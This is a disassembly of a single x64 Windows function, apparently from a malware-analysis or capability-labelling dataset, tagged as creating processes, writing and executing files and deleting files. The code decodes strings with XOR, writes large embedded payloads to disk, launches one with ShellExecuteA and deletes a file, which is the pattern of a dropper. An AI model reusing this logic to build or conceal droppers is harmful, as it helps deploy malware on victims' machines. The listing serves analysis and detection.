Function at 0x7ff7eaa35e90
Capabilities:
Create process on windows
Delete file
Execute command
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xe0
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
lea rcx, [0x7ff7eaa55e54]
call qword [sym.imp.ucrtbase.dll_system]
call fcn.7ff7eaa340b0
mov rcx, qword [0x7ff7eaa55340]
lea rdx, [rbp + 0x10]
movabs r14, 0x4fbe92f8fd63bef8
movabs rbx, 0x488bd1d84d3fe5f2
mov qword [rbp + 0x10], rbx
movabs r12, 0x48ab8cf8691fbef8
mov qword [rbp + 0x18], r14
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x10], xmm0
call fcn.7ff7eaa3b020
movabs rcx, 0x26c2f89b0c75d091
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x20]
movabs rcx, 0x4fbe92f8d34d909f
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x28], rcx
mov rcx, rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.7ff7eaa3b020
mov rcx, qword [0x7ff7eaa55340]
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], r14
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.7ff7eaa3b020
movabs rcx, 0x26c2e79b086fd08d
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x60], rcx
lea rdx, [rbp + 0x60]
movabs rcx, 0x3bddf792930a9e9f
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x68], rcx
movabs r15, 0x26d886f854dbbef8
movabs rcx, 0x85b600d615b9cc97
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x70], rcx
movabs r13, 0x85b600f83b97bef8
mov qword [rbp + 0x50], r13
mov rcx, rax
mov qword [rbp + 0x58], r15
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
vzeroupper
call fcn.7ff7eaa3b020
xor esi, esi
movabs rcx, 0x27cfe2913e3084bb
cmp byte [0x7ff7eb4c3785], sil
movabs rdx, 0x2ad0e09db64ccd8f
movabs rax, 0x85d3789d15a58d94
je 0x7ff7eaa360eb
mov qword [rbp + 0x60], rcx
xor r9d, r9d
mov qword [rbp + 0x68], rdx
lea rcx, [rbp + 0x60]
mov qword [rbp + 0x70], rax
xor r8d, r8d
mov qword [rbp + 0x78], r15
mov edx, 0x40000000
mov qword [rsp + 0x30], rsi
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r15
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
mov dword [rsp + 0x28], esi
vmovdqa ymmword [rbp + 0x60], ymm1
mov dword [rsp + 0x20], 2
vzeroupper
call qword [sym.imp.kernel32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x7ff7eaa360cd
xor r9d, r9d
mov dword [rbp], esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_SetFilePointer]
mov ebx, eax
call qword [sym.imp.kernel32.dll_GetLastError]
cmp ebx, reloc.VCRUNTIME140.dll___std_exception_copy
jne 0x7ff7eaa360a5
test eax, eax
jne 0x7ff7eaa360c4
lea r9, [rbp]
mov qword [rsp + 0x20], rsi
mov r8d, 0x52aa00
lea rdx, [0x7ff7eaf97f00]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
movabs rdx, 0x2ad0e09db64ccd8f
movabs rcx, 0x27cfe2913e3084bb
movabs rax, 0x85d3789d15a58d94
cmp byte [0x7ff7eb4c3784], sil
je 0x7ff7eaa361a6
mov qword [rbp + 0x60], rcx
xor r9d, r9d
mov qword [rbp + 0x68], rdx
lea rcx, [rbp + 0x60]
mov qword [rbp + 0x70], rax
xor r8d, r8d
mov qword [rbp + 0x78], r15
mov edx, 0x40000000
mov qword [rsp + 0x30], rsi
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r15
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
mov dword [rsp + 0x28], esi
vmovdqa ymmword [rbp + 0x60], ymm1
mov dword [rsp + 0x20], 2
vzeroupper
call qword [sym.imp.kernel32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x7ff7eaa361a6
xor r9d, r9d
mov dword [rbp], esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_SetFilePointer]
mov ebx, eax
call qword [sym.imp.kernel32.dll_GetLastError]
cmp ebx, reloc.VCRUNTIME140.dll___std_exception_copy
jne 0x7ff7eaa3617e
test eax, eax
jne 0x7ff7eaa3619d
lea r9, [rbp]
mov qword [rsp + 0x20], rsi
mov r8d, 0x528e00
lea rdx, [0x7ff7eaa6f100]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [0x7ff7eaa55340]
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x28], r14
movabs rax, 0x488bd1d84d3fe5f2
mov qword [rbp + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.7ff7eaa3b020
movabs rcx, 0x2fc5e58c1b7eca8b
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x60], rcx
lea rdx, [rbp + 0x60]
movabs rcx, 0x20caf19d970dd7d8
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x68], rcx
movabs rcx, 0x85b600f815b9908a
mov qword [rbp + 0x70], rcx
mov rcx, rax
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r15
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
vzeroupper
call fcn.7ff7eaa3b020
mov qword [rbp + 0x40], r12
lea r8, [rbp + 0x60]
mov qword [rbp + 0x48], r14
lea rdx, [rbp + 0x20]
movabs rax, 0x85d3789d15a58d94
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x70], rax
movabs rdi, 0x27cfe2913e4384bb
mov qword [rbp + 0x60], rdi
movabs rbx, 0x2ad0e09db63fcd8f
mov qword [rbp + 0x68], rbx
movabs rax, 0x48ab8cf8077ace97
mov qword [rbp + 0x20], rax
xor r9d, r9d
mov qword [rbp + 0x28], r14
xor ecx, ecx
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r15
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
vxorps xmm0, xmm0, xmmword [rbp + 0x40]
mov dword [rsp + 0x28], esi
vmovdqa xmmword [rbp + 0x20], xmm0
vmovdqa ymmword [rbp + 0x60], ymm1
mov qword [rsp + 0x20], rsi
vzeroupper
call qword [sym.imp.shell32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.kernel32.dll_Sleep]
mov rcx, qword [0x7ff7eaa55340]
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x28], r14
movabs rsi, 0x488bd1d84d3fe5f2
mov qword [rbp + 0x20], rsi
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.7ff7eaa3b020
movabs rcx, 0x2fc5e58e0672db8a
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x60], rcx
movabs rcx, 0x6190e19d910ad8d8
mov qword [rbp + 0x68], rcx
movabs rcx, 0x85b600f83b97bed6
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r13
lea rdx, [rbp + 0x60]
mov qword [rbp + 0x58], r15
mov rcx, rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
vzeroupper
call fcn.7ff7eaa3b020
mov qword [rbp + 0x60], rdi
lea rcx, [rbp + 0x60]
mov qword [rbp + 0x68], rbx
movabs rax, 0x85d3789d15a58d94
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r15
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
vzeroupper
call qword [sym.imp.ucrtbase.dll_remove]
mov rcx, qword [0x7ff7eaa55340]
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], r14
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r14
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.7ff7eaa3b020
movabs rcx, 0x27c7ac8c087ad69b
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x10], rcx
lea rdx, [rbp + 0x10]
movabs rcx, 0x4fbe92d99906da99
mov qword [rbp + 0x68], r14
mov qword [rbp + 0x18], rcx
mov rcx, rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x10], xmm0
call fcn.7ff7eaa3b020
mov qword [rbp + 0x48], r14
lea rdx, [rbp + 0x40]
movabs rcx, 0x48ab8cf8691f9ef2
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x40], rcx
mov rcx, rax
movdqa xmm0, xmmword [rbp + 0x40]
mov qword [rbp + 0x68], r14
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x40], xmm0
call fcn.7ff7eaa3b020
lea rcx, [0x7ff7eaa55e4c]
call qword [sym.imp.ucrtbase.dll_system]
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret